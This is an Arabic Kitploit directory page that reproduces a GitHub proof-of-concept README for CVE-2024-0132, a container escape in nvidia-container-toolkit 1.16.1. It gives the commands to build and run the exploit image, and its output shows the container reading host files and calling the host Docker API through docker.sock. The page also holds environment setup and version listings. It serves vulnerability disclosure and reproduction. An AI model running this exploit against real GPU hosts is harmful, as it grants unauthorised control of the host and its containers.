Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
poc-cve-2024-0132 | Kitploit
أدوات/GitHubGitHub/ssst0n3/poc-cve-2024-0132
تصعيد الامتيازاتأمن الحاوياتتحليل الثغرات الأمنيةالاستغلالأمن السحابةالهروب من الحاوية
GitHubssst0n3/poc-cve-2024-0132

poc-cve-2024-0132

عرض المستودع
5منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

poc-cve-2024-0132

  • بيئة إعادة الإنتاج:
    • نظام التشغيل: ubuntu 22.04 مع برنامج تشغيل nvidia
    • docker: v27.1.0
    • nvidia-container-toolkit: v1.16.1
  • خطوات إعادة الإنتاج:
    • تشغيل صورة حاوية poc
  • الهدف:
    • الوصول إلى ملفات المضيف داخل الحاوية
    • استدعاء واجهات برمجة تطبيقات docker daemon عبر docker.sock في الحاوية

إعادة الإنتاج

استخدم صورة poc الجاهزة ssst0n3/poc-cve-2024-0132، أو أنشئها من المصدر بنفسك.

root@kitploit:~
root@wanglei-gpu3:~# git clone https://github.com/ssst0n3/poc-cve-2024-0132.git
root@wanglei-gpu3:~# cd poc-cve-2024-0132
root@wanglei-gpu3:~/poc-cve-2024-0132# docker build -t ssst0n3/poc-cve-2024-0132 .
...
root@wanglei-gpu3:~/poc-cve-2024-0132# docker run -ti --runtime=nvidia --gpus=all ssst0n3/poc-cve-2024-0132
+ cat /host/etc/hostname
wanglei-gpu3
+ curl --unix-socket /host-run/docker.sock http://localhost/containers/json
[{"Id":"6dac93a4b9aaa6e2db5bed64f550d111e6e9604375e3210b46b59b095635290f","Names":["/nifty_booth"],"Image":"ssst0n3/poc-cve-2024-0132","ImageID":"sha256:53f3d5c92e144343851ec800aa7a0af201517262498519cc4dfd53688da9b112","Command":"/bin/sh -c /entrypoint.sh","Created":1728996664,"Ports":[],"Labels":{"org.opencontainers.image.ref.name":"ubuntu","org.opencontainers.image.version":"24.04"},"State":"running","Status":"Up Less than a second","HostConfig":{"NetworkMode":"default"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"NetworkID":"72649d2ea91c5c657b26de4af617b491e8f09bf9c2e5e8a44695ff10e68191b6","EndpointID":"be81eb91bfafd69bb442f3ccf9790ff5da9ae9ef42ad643aa4a686c3040f404b","Gateway":"172.17.0.1","IPAddress":"172.17.0.2","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:11:00:02","DriverOpts":null}}},"Mounts":[]}]

تجهيز بيئة إعادة الإنتاج

خادم Linux مزود بوحدة معالجة رسومات NVIDIA

root@kitploit:~
root@wanglei-gpu3:~# nvidia-smi 
Tue Oct 15 11:13:33 2024       
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 470.223.02   Driver Version: 470.223.02   CUDA Version: 11.4     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  Tesla T4            On   | 00000000:00:0D.0 Off |                    0 |
| N/A   30C    P8     9W /  70W |      0MiB / 15109MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
                                                                               
+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
|  No running processes found                                                 |
+-----------------------------------------------------------------------------+

قم بتثبيت docker و nvidia-container-toolkit

root@kitploit:~
root@wanglei-gpu3:~# apt update && apt install docker.io -y
root@wanglei-gpu3:~# curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg \
    && curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list | \
    sed 's#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g' | \
    tee /etc/apt/sources.list.d/nvidia-container-toolkit.list
root@wanglei-gpu3:~# apt-get update && \
    apt-get install -y libnvidia-container1=1.16.1-1 \
    libnvidia-container-tools=1.16.1-1 \
    nvidia-container-toolkit-base=1.16.1-1 \
    nvidia-container-toolkit=1.16.1-1

قم بتهيئة runtime

root@kitploit:~
root@wanglei-gpu3:~# nvidia-ctk runtime configure --runtime=docker
WARN[0000] Ignoring runtime-config-override flag for docker 
INFO[0000] Config file does not exist; using empty config 
INFO[0000] Wrote updated config to /etc/docker/daemon.json 
INFO[0000] It is recommended that docker daemon be restarted.
root@wanglei-gpu3:~# systemctl restart docker

تفاصيل البيئة:

root@kitploit:~
root@wanglei-gpu3:~# nvidia-container-cli --version
cli-version: 1.16.1
lib-version: 1.16.1
build date: 2024-07-23T14:57+00:00
build revision: 4c2494f16573b585788a42e9c7bee76ecd48c73d
build compiler: x86_64-linux-gnu-gcc-7 7.5.0
build platform: x86_64
build flags: -D_GNU_SOURCE -D_FORTIFY_SOURCE=2 -DNDEBUG -std=gnu11 -O2 -g -fdata-sections -ffunction-sections -fplan9-extensions -fstack-protector -fno-strict-aliasing -fvisibility=hidden -Wall -Wextra -Wcast-align -Wpointer-arith -Wmissing-prototypes -Wnonnull -Wwrite-strings -Wlogical-op -Wformat=2 -Wmissing-format-attribute -Winit-self -Wshadow -Wstrict-prototypes -Wunreachable-code -Wconversion -Wsign-conversion -Wno-unknown-warning-option -Wno-format-extra-args -Wno-gnu-alignof-expression -Wl,-zrelro -Wl,-znow -Wl,-zdefs -Wl,--gc-sections
root@wanglei-gpu3:~# 
root@wanglei-gpu3:~# nvidia-container-cli info
NVRM version:   470.223.02
CUDA version:   11.4

Device Index:   0
Device Minor:   0
Model:          Tesla T4
Brand:          Nvidia
GPU UUID:       GPU-03ef96a1-75d6-9917-ed12-4db7f79bfa4b
Bus Location:   00000000:00:0d.0
Architecture:   7.5
root@wanglei-gpu3:~# 
root@wanglei-gpu3:~# docker info
Client:
 Version:    24.0.7
 Context:    default
 Debug Mode: false

Server:
 Containers: 0
  Running: 0
  Paused: 0
  Stopped: 0
 Images: 0
 Server Version: 24.0.7
 Storage Driver: overlay2
  Backing Filesystem: extfs
  Supports d_type: true
  Using metacopy: false
  Native Overlay Diff: true
  userxattr: false
 Logging Driver: json-file
 Cgroup Driver: systemd
 Cgroup Version: 2
 Plugins:
  Volume: local
  Network: bridge host ipvlan macvlan null overlay
  Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
 Swarm: inactive
 Runtimes: io.containerd.runc.v2 nvidia runc
 Default Runtime: runc
 Init Binary: docker-init
 containerd version: 
 runc version: 
 init version: 
 Security Options:
  apparmor
  seccomp
   Profile: builtin
  cgroupns
 Kernel Version: 5.15.0-76-generic
 Operating System: Ubuntu 22.04.2 LTS
 OSType: linux
 Architecture: x86_64
 CPUs: 8
 Total Memory: 31.15GiB
 Name: wanglei-gpu3
 ID: bc9d2464-60ee-458d-93a0-fab77847a4b3
 Docker Root Dir: /var/lib/docker
 Debug Mode: false
 Experimental: false
 Insecure Registries:
  127.0.0.0/8
 Live Restore Enabled: false

إعادة الإنتاج

قياس الإصدارات المتأثرة

تنزيل الأداة